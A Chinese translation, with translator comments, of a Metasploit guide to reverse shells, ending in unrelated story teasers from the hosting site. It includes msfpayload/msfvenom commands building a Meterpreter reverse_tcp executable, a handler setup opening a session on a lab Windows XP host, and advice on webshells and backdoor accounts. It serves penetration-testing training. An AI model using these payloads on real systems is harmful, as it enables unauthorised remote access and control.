【译】Metasploit:如何在 Metasploit 中使用反弹 Shell



众所周知,有两种流行的 Shell 的类型:反向 Shell (译者注:攻击者监听端口,被攻击者连接)和 正向 Shell(译者注:被攻击者监听端口,攻击者连接)
译者注:由于 C/S 结构的程序开发中,一般我们将监听端口的一方称为服务器,而主动连接的一方称为客户端。站在攻击者的角度上,正向 Shel 即为攻击者主动连接服务器,此谓之正向;而反向 Shell 中,攻击者为服务器,被攻击者主动连接攻击者,此谓之反向

Payload 的基本使用已经在 用户手册 中写的很详细了,但是,学习如何使用反向 Shell 仍然是一个在 Metasploit 社区中被询问最频繁的问题。另外,事实上反向 Shell 在十次渗透中几乎有九次都可能被用到,因此在这个文档中我们将对此进行深入解释。

列出所有的 Metasploit 反向 Shell

直到现在, Metasploit Framework 已经有了 168 个不同的反向 Shell 的 Payload
我们这里并没有列出所有的反向 Shell 的列表,因为没必要浪费文章的篇幅。
但是如果你想要得到这个列表的话,你可以使用 msfpayload 命令 (译者注:msfpayload 目前已经被 msfvenom 代替,msfvenom 由 msfpayload 与 msfencode 结合而成,具体官方公告可以参考:https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom

# ./msfpayload -l |grep reverse
./msfvenom -l |grep reverse

作为一个经验法则,我们一般总是选择 meterpreter(译者注:对比于反向 Shell 和 正向 Shell),因为 Meterpreter 的确能为我们提供更多的后渗透测试的支持。例如:Railgun(译者注:这是 Metasploit 对 Windows Meterpreter Session 提供的一个功能,可以注入 DLL 文件到指定的程序),后渗透测试模块,独立的 Meterpreter 命令(例如:摄像头控制),等等。

  • 以 Windows 作为目标系统,最被频繁使用的反向 Shell 是 windows/meterpreter/reverse。但是你也可以尝试一下 windows/meterpreter/reverse_http, windows/meterpreter/reverse_https, 因为它们(译者注:原文中并没有说清楚 它们 指的是什么,个人感觉应该是反向 Shell 的流量并没有经过加密,可以直接被防火墙嗅探到,但是如果基于 HTTP 或者 HTTPS 那么就可以实现基于应用层的加密,这样更难被检测到)的网络流量可能会有一点点不正常。
  • 以 Linux 作为目标系统,你可以尝试 linux/x86/meterpreter/reverse_tcp 这个针对 32 位的 Payload,当然也可以尝试 64 位的。然而,你应该知道的是 linux/x86/shell_reverse_tcp 这个 Payload 是最稳定的

什么时候应该使用反向 Shell

如果你认为你所在的条件符合如下条件之一(但不限于),那么你就应该考虑使用反向 Shell

  • 目标机器在一个不同(相对攻击者而言)的私有网络
  • 目标机器的防火墙阻挡了所有入口连接(这种情况正向 Shell 是会被防火墙阻挡的)
  • 由于一些原因,你的 Payload 不能绑定在应该绑定的端口的时候
  • 你还不能确定应该选择反向 Shell 还是正向 Shell 的时候

什么时候不应该使用反向 Shell

  • 一般来说,如果你已经在目标机器的某个已存在的服务上种植了后门,那么你就不再需要反向 Shell。例如:如果目标机器已经运行了一个 SSH 服务器,那么你可以通过后门程序添加一个新的用户并且直接使用。
  • 如果目标机器运行了一个 WEB 服务器并且支持服务端脚本语言,那么你就可以种植一个目标语言的后门。例如:很多 Apache HTTP Server 都支持 PHP 语言,那么你就可以使用一个 PHP 的 webshell;IIS 服务器通常支持 ASP 语言或者 ASP.net。Metasploit Framework 提供所有这些语言的 Payload (当然也包括许多其他语言的 Payload)
  • 与 VNC 相同,远程桌面,SMB(psexec) 或者等等其他的远程管理工具也一样。

如何在生成 Payload 的时候配置反向 Shell Payload 的参数

如果你想使用 msfpayload(译者注:已被废弃)或者 msfvenom 来生成反向 Shell 的 Payload,那么你必须知道如何配置如下的参数:

  • LHOST - 从字面上看(译者注:Local HOST),该参数表示你想让你的目标机器连接的地址。如果你在一个本地局域网,那么你的目标机器可能就不能直接连接到你的机器了,除非你们在同一个网络中。这种情况下,你需要 找到你的公网IP ,然后在你的网络中配置端口转发连接到你自己的用来攻击的电脑。LHOST 这个参数不可以被设置为 localhost, 0.0.0.0, 127.0.0.1,如果你这么设置了,那么你其实在让目标机器连接自己。
  • LPORT - 这个参数表示目标机器要连接的端口号

当你在配置反向 Shell 的监听器的时候,你也需要至少配置 LHOST 和 LPORT 这两个参数,但是这和在生成 Payload 的时候的配置的含义有所不同

  • LHOST - 该参数表示你想让你的监听器绑定的 IP 地址
  • LPORT - 该参数表示你想让你的监听器绑定的端口号

你应该确保监听器在目标机器执行反向 Shell 的 Payload 之前就开始监听

实例

在下面的实例中,我们有两个主机

主机 A

  • 攻击者机器(用来接受 Payload 作用产生的 Session)
  • IP : 192.168.1.123 (ifconfig)
  • 与受害者的主机在同一网段

主机 B

  • 受害者机器
  • Windows XP
  • IP : 192.168.1.80 (ipconfig)
  • 与攻击者在同一个网段
  • 为了测试效果,并没有开启防火墙
  • 为了测试效果,并没有开启反病毒软件

第一步:生成可执行的Payload
在攻击者的机器上,运行如下 msfpayload 命令(或者 msfvenom,任何一个都可以)

$ ./msfpayload windows/meterpreter/reverse_tcp lhost=192.168.1.123 lport=4444 X > /tmp/iambad.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 287
Options: {"LHOST"=>"192.168.1.123", "LPORT"=>"4444"}

第二步:将可执行的 Payload 拷贝到机器 B (也就是受害者的机器)

第三步:在机器A(也就是攻击者)上配置 Payload Handler

$ ./msfconsole -q
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.123
lhost => 192.168.1.123
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > run

[*] Started reverse handler on 192.168.1.123:4444
[*] Starting the payload handler...

第四步:双击刚才生成的恶意可执行程序(在机器B,也就是受害者机器上)

第五步:这个时候应该就可以在攻击者的机器A上看到一个 meterpreter/payload 的 session 了

$ ./msfconsole -q
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.123
lhost => 192.168.1.123
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > run

[*] Started reverse handler on 192.168.1.123:4444
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 192.168.1.80
[*] Meterpreter session 1 opened (192.168.1.123:4444 -> 192.168.1.80:1138) at 2014-10-22 19:03:43 -0500
meterpreter >

Meterpreter 命令提示符表示由当前 payload 生成的 session 已经被激活

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,590评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 86,808评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,151评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,779评论 1 277
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,773评论 5 367
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,656评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,022评论 3 398
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,678评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 41,038评论 1 299
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,659评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,756评论 1 330
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,411评论 4 321
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,005评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,973评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,203评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,053评论 2 350
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,495评论 2 343

推荐阅读更多精彩内容